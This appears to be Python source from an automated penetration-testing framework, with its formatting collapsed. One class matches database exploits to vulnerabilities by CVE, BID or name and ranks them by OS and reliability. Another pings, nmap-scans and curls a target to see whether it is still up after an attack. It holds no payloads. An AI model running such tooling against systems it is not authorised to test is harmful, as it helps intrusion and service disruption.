class ExploitMatcher: def __init__(self, db_handler): self.console = ConsoleHandler("ExplMatcher") self.db_handler = db_handler def find_exploits_for_vuln(self, vuln, os, os_multi, rank): matching_expl = self.get_all_exploits_for_name(vuln.name, os, os_multi) + \ self.find_exploits_by_cve(vuln.cve) + \ self.find_exploits_by_bid(vuln.bid) if len(matching_expl) > 0: matching_expl = self.remove_duplicates(matching_expl) matching_expl = self.filter_by_os(os, os_multi, matching_expl) self.console.info("Filtered exploits by OS '{}': {} left.".format(os, len(matching_expl))) matching_expl = self.filter_by_rank(rank, matching_expl) self.console.info("Filtered exploits by Rank '{}': {} left.".format(rank, len(matching_expl))) matching_expl = self.sort_exploits(matching_expl) return matching_expl def find_exploits_by_cve(self, cve): cves = CVEDetailParser.parse_cves(self.console, cve) cve_expl = [] self.console.info("Searching by CVEs {}".format(cves)) if len(cves) > 0: for cve in cves: expl_list = self.get_all_exploits_for_cve(cve) if expl_list is not None: cve_expl.append(expl_list) if len(cve_expl) == 0: self.console.warn("\t None found.") return cve_expl def find_exploits_by_bid(self, bid_str): bids = CVEDetailParser.parse_bids(bid_str) bid_expl = [] self.console.info("Searching by BIDs {}".format(bids)) if len(bids) > 0: for bid_str in bids: expl = self.get_all_exploits_for_bid(bid_str) if expl is not None: bid_expl.append(expl) if len(bid_expl) == 0: self.console.warn("\t None found.") return bid_expl # actually perform search for exploits by CVE def get_all_exploits_for_cve(self, cve): expl_list = self.db_handler.search_by_cve(cve) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) return expl_list return None # actually perform search for exploits by BID def get_all_exploits_for_bid(self, bid): if bid == '': return None expl_list = self.db_handler.search_by_bid(bid) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) return expl_list return None # actually perform search for exploits by vulnerability name def get_all_exploits_for_name(self, name, os, multi): search_name = Exploit.improve_name(name) self.console.info("Searching by keywords '{}'".format(search_name)) expl_list = self.db_handler.search_by_name(search_name) expl_list = list(filter(lambda expl: expl.score >= exploit_search_config.get('min_score'), expl_list)) expl_list.sort(key=lambda x: float(x.score), reverse=True) if len(expl_list) > exploit_search_config.get('max_count_by_name'): self.console.debug("found too many exploits, only use the {} with the highest score.".format( exploit_search_config.get('max_count_by_name'))) expl_list = self.filter_by_os(os=os, multi=multi, expl_list=expl_list) expl_list = expl_list[:exploit_search_config.get('max_count_by_name')] for expl in expl_list: self.console.debug( "\t \t score: {}, path: '{}', title: '{}'".format(expl.score, expl.path, expl.search_name)) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) else: self.console.warn("\t None found.") return expl_list # extrahiere Versionsnummer aus String, findet Nummern mit bis zu dreistufiger Hierarchie @staticmethod def get_version_number(str): pattern = "(\d)+.(\d)(.(\d)+)?" match = re.search(pattern, str) if match is None: return None return match.group(0) # removes all duplicates from a nested list of exploit objects def remove_duplicates(self, expl_lists): if expl_lists is None: return None expl_list = Exploit.flatten_expl_lists(expl_lists) filtered_expl_list = [] for expl in expl_list: unique = True for filtered_expl in filtered_expl_list: if expl.path == filtered_expl.path: unique = False if unique: filtered_expl_list.append(expl) self.console.info("Removed {} duplicate exploits.".format(len(expl_list) - len(filtered_expl_list))) return filtered_expl_list # filter the given list of exploits by operating system def filter_by_os(self, os, multi, expl_list): if os == 'all': return expl_list if os == 'linux': if multi: return list( filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix' or expl.os == 'multi'), expl_list)) return list(filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix'), expl_list)) elif os == 'windows': if multi: return list(filter(lambda expl: (expl.os == 'windows' or expl.os == 'multi'), expl_list)) return list(filter(lambda expl: expl.os == 'windows', expl_list)) else: return [] # filter the given list of exploits by a minimum reliability ranking def filter_by_rank(self, rank, expl_list): return list(filter(lambda expl: self.compare_rankings(expl.rank, rank), expl_list)) # compare a given rank of a exploit to the demanded minimum rank def compare_rankings(self, rank, min_rank): return Rank.value_from_str(rank) >= Rank.value_from_str(min_rank) # sort exploits by the msf module rank attribute def sort_exploits(self, expls): if len(expls) == 0: return [] expls.sort(key=lambda x: Rank.value_from_str(x.rank), reverse=True) self.console.info("Sorted exploits.") return expls
class SuccessChecker: def __init__(self): self.console = ConsoleHandler("SuccessCheck") def check(self, speed, rhost, port, uri): res = [] iterations = EvalSpeed[speed.name].value[0] interval = EvalSpeed[speed.name].value[1] for iteration in range(iterations): self.console.info("Run #{} of success checker".format(iteration)) check_result = {'ping': self.ping_check(rhost)} check_result['nmap'] = self.nmap_check(host=rhost, port=port) if uri is not None: url = "{}:{}{}".format(rhost, str(port), uri) check_result['http'] = self.http_check(url=url) res.append(check_result) self.console.info("\t intentionally waiting...") time.sleep(interval) self.console.debug(res) return res def ping_check(self, rhost): self.console.debug("\t start PING checker") param = '-n' if platform.system().lower() == 'windows' else '-c' command = ['ping', param, '1', rhost] with open(os.devnull, 'w') as DEVNULL: res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL) if res == 0: self.console.debug("\t \t host still up and running.") return ServiceStatus.UP_ACCESSIBLE else: self.console.debug("\t \t host dead.") return ServiceStatus.DOWN def http_check(self, url): self.console.debug("\t start HTTP checker for {}".format(url)) command = ['curl', url, "-m", "{}".format(HTTP_CHECK_MAX_TIME)] with open(os.devnull, 'w') as DEVNULL: res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL) if res == 0: self.console.debug("\t \t web server still up and running.") return ServiceStatus.UP_ACCESSIBLE else: self.console.info("\t \t web server dead.") return ServiceStatus.DOWN def nmap_check(self, host, port): self.console.debug("\t start nmap checker...") scanner = nmap.PortScanner() scanner.scan(hosts=host, ports=str(port)) info = scanner.scaninfo() err = info.get('error') try: del info['error'] except KeyError: pass self.console.debug(info) if err is not None: self.console.debug("\t \t {}".format(err)) try: state = scanner[host]['tcp'][port]['state'] self.console.debug("\t \t -> Port is {}".format(state)) except KeyError: self.console.warn("\t \t unable to retrieve nmap output: {}.".format(info)) return None try: state_obj = PortStatus[state.strip().upper()] except KeyError: self.console.error("Invalid value for Port State: {}".format(state)) return PortStatus.CLOSED return state_obj